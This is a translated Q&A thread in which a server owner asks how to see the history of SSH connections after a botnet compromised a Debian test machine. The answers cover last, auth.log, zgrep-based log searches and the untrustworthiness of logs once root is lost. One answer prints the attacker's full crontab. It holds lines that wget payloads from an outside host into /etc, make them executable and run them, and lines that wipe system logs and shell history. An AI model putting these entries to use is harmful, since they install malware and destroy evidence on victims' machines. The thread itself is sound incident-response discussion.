通过ssh访问服务器的IP地址的历史记录


42

引起我注意的是,我的一台服务器被黑客攻击并感染了一个已知的中国僵尸网络。

这是一个具有自己的静态IP(美国地址)的原型/测试虚拟机,因此没有造成伤害(只是花了我一段时间才能弄清楚)。

现在,我想知道入侵使用了什么IP / s,以了解攻击是否源自中国。

有没有办法查看服务器上ssh上已接收连接的历史记录?

编辑:系统是Linux Debian 7

Answers:


45

查看last命令的输出,网络上输入了任何带有IP地址或主机名而不是空格的内容。如果sshd是在该系统上执行此操作的唯一方法,那么就可以了。

另外(如果是Linux),您可以检查/var/log/secure(在基于RH的发行版上)或/var/log/auth.log(在基于Debian的发行版上)sshd通常会在哪里跟踪建立的连接,即使它们未成功登录(按utmp/ wtmp,是last从中读取的内容)。例:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris的sshd(不一定是OpenSSH的sshd)将将此信息记录到/var/adm/messages

编辑:

@derobert提出了一个很好的观点。重要的是要记住,在任何系统上,如果您的超级用户帐户遭到破坏,那么所有赌注都会关闭,因为攻击者可以修改诸如/var/log/wtmp或的日志文件/var/adm/messages。如果将注销服务器推送到安全位置,可以缓解这种情况。

例如,在我以前工作过的一家商店中,我们有一台“ Audit Vault”机器已经过保护,因此只能从数据中心的各个服务器接收审核日志文件。我建议以后再进行类似的设置(因为“我有一台测试机”听起来像您在一家大型商店中经营)


7
您的答案几乎涵盖了所有内容,因此我不想添加自己的内容...但是,请按照以下方式添加内容:“如果攻击者获得了root,那么在大多数配置中,盒子上的日志记录数据都无法真正被信任,因为root用户可以轻松地编辑日志。”
derobert

1
@derobert,我按照您的建议添加了一些细节:)
Ramesh

等等,'/ var / log / secure'不在Debian上,它在Red Hat Distor中。
塞科

@Secko编辑了答案,将两者都包括在内。
布拉奇利

14

有没有办法查看服务器上ssh上已接收连接的历史记录?

这应该给您一个列表:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

然后,您可以使用geoiplookupgeoip-bin软件包将主机名或IP地址输入国家/地区。


有用的+1。您可以更新命令以显示时间和日期吗?
Eduard Florinescu 2015年

3
@Eduard Florinescu对不起,我的sed技能不是那个神。要执行更复杂的操作,请使用Python或专用的日志解析器。但是您可以尝试以下方法:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
TorkelBjørnson-Langen15年

6

好了,正如预期的那样,正如@Joel Davis所说,所有日志都被清除了,但是@Ramesh提到了一个文件,该文件曾尝试访问根用户,但几次未输入正确的密码,然后断开了与重试太多。

我在其中三个地址上进行了跟踪,其中两个来自中国,另一个来自巴基斯坦。这些是IP:

221.120.224.179
116.10.191.218
61.174.51.221

有关被感染后注入服务器的僵尸网络的更多信息:

黑客编辑crontab来执行7个可执行文件,这些可执行文件每隔x倍的时间就会耗尽所有CPU,最大程度地消耗服务器的网络输出,然后干脆死掉。此外,他们crontab -l还将自述文件添加到crontab 100次以隐藏添加的行,因此当您这样做时,自述文件会被隐藏行的垃圾邮件所淹没。为了避免这种情况,我使用crontab -l | grep -v '^#'了以下命令的输出:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

如您所见,所有日志文件都已清除,这就是为什么我无法检索很多信息的原因。

它关闭了整个服务器(所有VM),导致站点和proxmox超时。这是一个图形(尖峰表示僵尸网络正在主动进行DDoS,并注意到网络已消失): 僵尸网络活动

结果,我将整个中文IP地址范围添加到防火墙中以阻止所有连接(我没有任何中文用户,所以我不在乎),同时我还将禁止远程root登录并使用长密码。密码。我也很可能会更改ssh端口并也使用私有ssh密钥。


3
这是非常可怕的东西-知道他们如何访问您的系统吗?这仅仅是针对弱密码的暴力破解吗?
user35581 '16

3

这个答案中,我看到以下信息。

关于SSH服务器,我将为您提供命令行解决方案。

跟踪用户登录和注销。很简单,该文件/var/log/auth.log应具有此信息。

跟踪这些用户的活动:如果他们有些无辜,则可以.bash_history在其主目录中检查文件。您将看到它们执行的命令的列表。问题当然是他们可以删除或编辑此文件。

防止用户删除日志:用户不能触摸auth.log。为了阻止他们一起玩,bash_history您需要做一些技巧。

如果用户设法获得root访问权限怎么办?: 你完蛋了。除非他犯了一个错误,否则他将能够掩盖他所有的足迹。

同样,从这个答案中,我们可以看到使用该SSH_CLIENT变量的客户端的IP地址。

同样从这个答案中,我看到ssh历史记录可以存储在这些文件中。

此外/var/log/lastlog,有3个文件/var/run/var/logutmpwtmp并且btmp,持有关于当前登录(和其他信息)信息,历史和失败的登录。有关详细说明,请参见Wiki。您不能使用普通的编辑器来编辑文件,但是可以删除它们。



1

该机器已被攻破。这意味着其上的任何历史或当前数据将不再受信任。

简而言之,答案是否定的。您不确定从本机上记录的任何日志文件中找到原始地址。

擦拭并重新安装。和补丁。


1

要仅查看使用密码成功登录的尝试:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

对于debian,测试搜索的措词略有不同

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.